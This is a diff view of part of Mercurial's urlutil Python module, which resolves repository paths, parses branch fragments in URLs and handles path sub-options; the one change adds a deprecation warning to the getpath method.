522 522 """return a unique `(path, branch)` or abort if multiple are found
523 523
524 524 This is useful for command and action that does not support multiple
525 525 destination (yet).
526 526
527 527 Note that for now, we cannot get multiple destination so this function is "trivial".
528 528
529 529 The `action` parameter will be used for the error message.
530 530 """
531 531 if source is None:
532 532 if b'default' in ui.paths:
533 533 url = ui.paths[b'default'].rawloc
534 534 else:
535 535 # XXX this is the historical default behavior, but that is not
536 536 # great, consider breaking BC on this.
537 537 url = b'default'
538 538 else:
539 539 if source in ui.paths:
540 540 url = ui.paths[source].rawloc
541 541 else:
542 542 # Try to resolve as a local path or URI.
543 543 path = try_path(ui, source)
544 544 if path is not None:
545 545 url = path.rawloc
546 546 else:
547 547 url = source
548 548 return parseurl(url, default_branches)
549 549
550 550
551 551 def get_clone_path(ui, source, default_branches=()):
552 552 """return the `(origsource, path, branch)` selected as clone source"""
553 553 if source is None:
554 554 if b'default' in ui.paths:
555 555 url = ui.paths[b'default'].rawloc
556 556 else:
557 557 # XXX this is the historical default behavior, but that is not
558 558 # great, consider breaking BC on this.
559 559 url = b'default'
560 560 else:
561 561 if source in ui.paths:
562 562 url = ui.paths[source].rawloc
563 563 else:
564 564 # Try to resolve as a local path or URI.
565 565 path = try_path(ui, source)
566 566 if path is not None:
567 567 url = path.rawloc
568 568 else:
569 569 url = source
570 570 clone_path, branch = parseurl(url, default_branches)
571 571 return url, clone_path, branch
572 572
573 573
574 574 def parseurl(path, branches=None):
575 575 '''parse url#branch, returning (url, (branch, branches))'''
576 576 u = url(path)
577 577 branch = None
578 578 if u.fragment:
579 579 branch = u.fragment
580 580 u.fragment = None
581 581 return bytes(u), (branch, branches or [])
582 582
583 583
584 584 class paths(dict):
585 585 """Represents a collection of paths and their configs.
586 586
587 587 Data is initially derived from ui instances and the config files they have
588 588 loaded.
589 589 """
590 590
591 591 def __init__(self, ui):
592 592 dict.__init__(self)
593 593
594 594 for name, loc in ui.configitems(b'paths', ignoresub=True):
595 595 # No location is the same as not existing.
596 596 if not loc:
597 597 continue
598 598 loc, sub_opts = ui.configsuboptions(b'paths', name)
599 599 self[name] = path(ui, name, rawloc=loc, suboptions=sub_opts)
600 600
601 601 for name, p in sorted(self.items()):
602 602 p.chain_path(ui, self)
603 603
604 604 def getpath(self, ui, name, default=None):
605 605 """Return a ``path`` from a string, falling back to default.
606 606
607 607 ``name`` can be a named path or locations. Locations are filesystem
608 608 paths or URIs.
609 609
610 610 Returns None if ``name`` is not a registered path, a URI, or a local
611 611 path to a repo.
612 612 """
613 msg = b'getpath is deprecated, use `get_*` functions from urlutil'
614 self.deprecwarn(msg, '6.0')
613 615 # Only fall back to default if no path was requested.
614 616 if name is None:
615 617 if not default:
616 618 default = ()
617 619 elif not isinstance(default, (tuple, list)):
618 620 default = (default,)
619 621 for k in default:
620 622 try:
621 623 return self[k]
622 624 except KeyError:
623 625 continue
624 626 return None
625 627
626 628 # Most likely empty string.
627 629 # This may need to raise in the future.
628 630 if not name:
629 631 return None
630 632 if name in self:
631 633 return self[name]
632 634 else:
633 635 # Try to resolve as a local path or URI.
634 636 path = try_path(ui, name)
635 637 if path is None:
636 638 raise error.RepoError(_(b'repository %s does not exist') % name)
637 639 return path.rawloc
638 640
639 641
640 642 _pathsuboptions = {}
641 643
642 644
643 645 def pathsuboption(option, attr):
644 646 """Decorator used to declare a path sub-option.
645 647
646 648 Arguments are the sub-option name and the attribute it should set on
647 649 ``path`` instances.
648 650
649 651 The decorated function will receive as arguments a ``ui`` instance,
650 652 ``path`` instance, and the string value of this option from the config.
651 653 The function should return the value that will be set on the ``path``
652 654 instance.
653 655
654 656 This decorator can be used to perform additional verification of
655 657 sub-options and to change the type of sub-options.
656 658 """
657 659
658 660 def register(func):
659 661 _pathsuboptions[option] = (attr, func)
660 662 return func
661 663
662 664 return register
663 665
664 666
665 667 @pathsuboption(b'pushurl', b'pushloc')
666 668 def pushurlpathoption(ui, path, value):
667 669 u = url(value)
668 670 # Actually require a URL.
669 671 if not u.scheme:
670 672 ui.warn(_(b'(paths.%s:pushurl not a URL; ignoring)\n') % path.name)
671 673 return None
672 674
673 675 # Don't support the #foo syntax in the push URL to declare branch to
674 676 # push.
675 677 if u.fragment:
676 678 ui.warn(
677 679 _(
678 680 b'("#fragment" in paths.%s:pushurl not supported; '
679 681 b'ignoring)\n'
680 682 )
681 683 % path.name
682 684 )
683 685 u.fragment = None
684 686
685 687 return bytes(u)
686 688
687 689
688 690 @pathsuboption(b'pushrev', b'pushrev')
689 691 def pushrevpathoption(ui, path, value):
690 692 return value
691 693
692 694
693 695 class path(object):
694 696 """Represents an individual path and its configuration."""
695 697
696 698 def __init__(self, ui, name, rawloc=None, suboptions=None):
697 699 """Construct a path from its config options.
698 700
699 701 ``ui`` is the ``ui`` instance the path is coming from.
700 702 ``name`` is the symbolic name of the path.
701 703 ``rawloc`` is the raw location, as defined in the config.
702 704 ``pushloc`` is the raw locations pushes should be made to.
703 705
704 706 If ``name`` is not defined, we require that the location be a) a local
705 707 filesystem path with a .hg directory or b) a URL. If not,
706 708 ``ValueError`` is raised.
707 709 """
708 710 if not rawloc:
709 711 raise ValueError(b'rawloc must be defined')
710 712
711 713 # Locations may define branches via syntax <base>#<branch>.
712 714 u = url(rawloc)
713 715 branch = None
714 716 if u.fragment:
715 717 branch = u.fragment
716 718 u.fragment = None
717 719
718 720 self.url = u
719 721 # the url from the config/command line before dealing with `path://`
720 722 self.raw_url = u.copy()
721 723 self.branch = branch
722 724
723 725 self.name = name
724 726 self.rawloc = rawloc
725 727 self.loc = b'%s' % u
726 728
727 729 self._validate_path()
728 730
729 731 _path, sub_opts = ui.configsuboptions(b'paths', b'*')
730 732 self._own_sub_opts = {}
731 733 if suboptions is not None:
732 734 self._own_sub_opts = suboptions.copy()
733 735 sub_opts.update(suboptions)
734 736 self._all_sub_opts = sub_opts.copy()
735 737
736 738 self._apply_suboptions(ui, sub_opts)
737 739
738 740 def chain_path(self, ui, paths):
739 741 if self.url.scheme == b'path':
740 742 assert self.url.path is None
741 743 try:
742 744 subpath = paths[self.url.host]
743 745 except KeyError:
744 746 m = _(b'cannot use `%s`, "%s" is not a known path')
745 747 m %= (self.rawloc, self.url.host)
746 748 raise error.Abort(m)
747 749 if subpath.raw_url.scheme == b'path':
748 750 m = _(b'cannot use `%s`, "%s" is also defined as a `path://`')
749 751 m %= (self.rawloc, self.url.host)
750 752 raise error.Abort(m)
751 753 self.url = subpath.url
752 754 self.rawloc = subpath.rawloc
753 755 self.loc = subpath.loc
754 756 if self.branch is None:
755 757 self.branch = subpath.branch
756 758 else:
757 759 base = self.rawloc.rsplit(b'#', 1)[0]
758 760 self.rawloc = b'%s#%s' % (base, self.branch)
759 761 suboptions = subpath._all_sub_opts.copy()
760 762 suboptions.update(self._own_sub_opts)
761 763 self._apply_suboptions(ui, suboptions)
762 764
763 765 def _validate_path(self):
764 766 # When given a raw location but not a symbolic name, validate the
765 767 # location is valid.
766 768 if (
767 769 not self.name
768 770 and not self.url.scheme
769 771 and not self._isvalidlocalpath(self.loc)
770 772 ):
771 773 raise ValueError(
772 774 b'location is not a URL or path to a local '
773 775 b'repo: %s' % self.rawloc
774 776 )
775 777
776 778 def _apply_suboptions(self, ui, sub_options):
777 779 # Now process the sub-options. If a sub-option is registered, its
778 780 # attribute will always be present. The value will be None if there
779 781 # was no valid sub-option.
780 782 for suboption, (attr, func) in pycompat.iteritems(_pathsuboptions):
781 783 if suboption not in sub_options:
782 784 setattr(self, attr, None)
783 785 continue
784 786
785 787 value = func(ui, self, sub_options[suboption])
786 788 setattr(self, attr, value)
787 789
788 790 def _isvalidlocalpath(self, path):
789 791 """Returns True if the given path is a potentially valid repository.
790 792 This is its own function so that extensions can change the definition of
791 793 'valid' in this case (like when pulling from a git repo into a hg
792 794 one)."""
793 795 try:
794 796 return os.path.isdir(os.path.join(path, b'.hg'))
795 797 # Python 2 may return TypeError. Python 3, ValueError.
796 798 except (TypeError, ValueError):
797 799 return False
798 800
799 801 @property
800 802 def suboptions(self):
801 803 """Return sub-options and their values for this path.
802 804
803 805 This is intended to be used for presentation purposes.
804 806 """
805 807 d = {}
806 808 for subopt, (attr, _func) in pycompat.iteritems(_pathsuboptions):
807 809 value = getattr(self, attr)
808 810 if value is not None:
809 811 d[subopt] = value
810 812 return d
General Comments 0
You need to be logged in to leave comments. Login now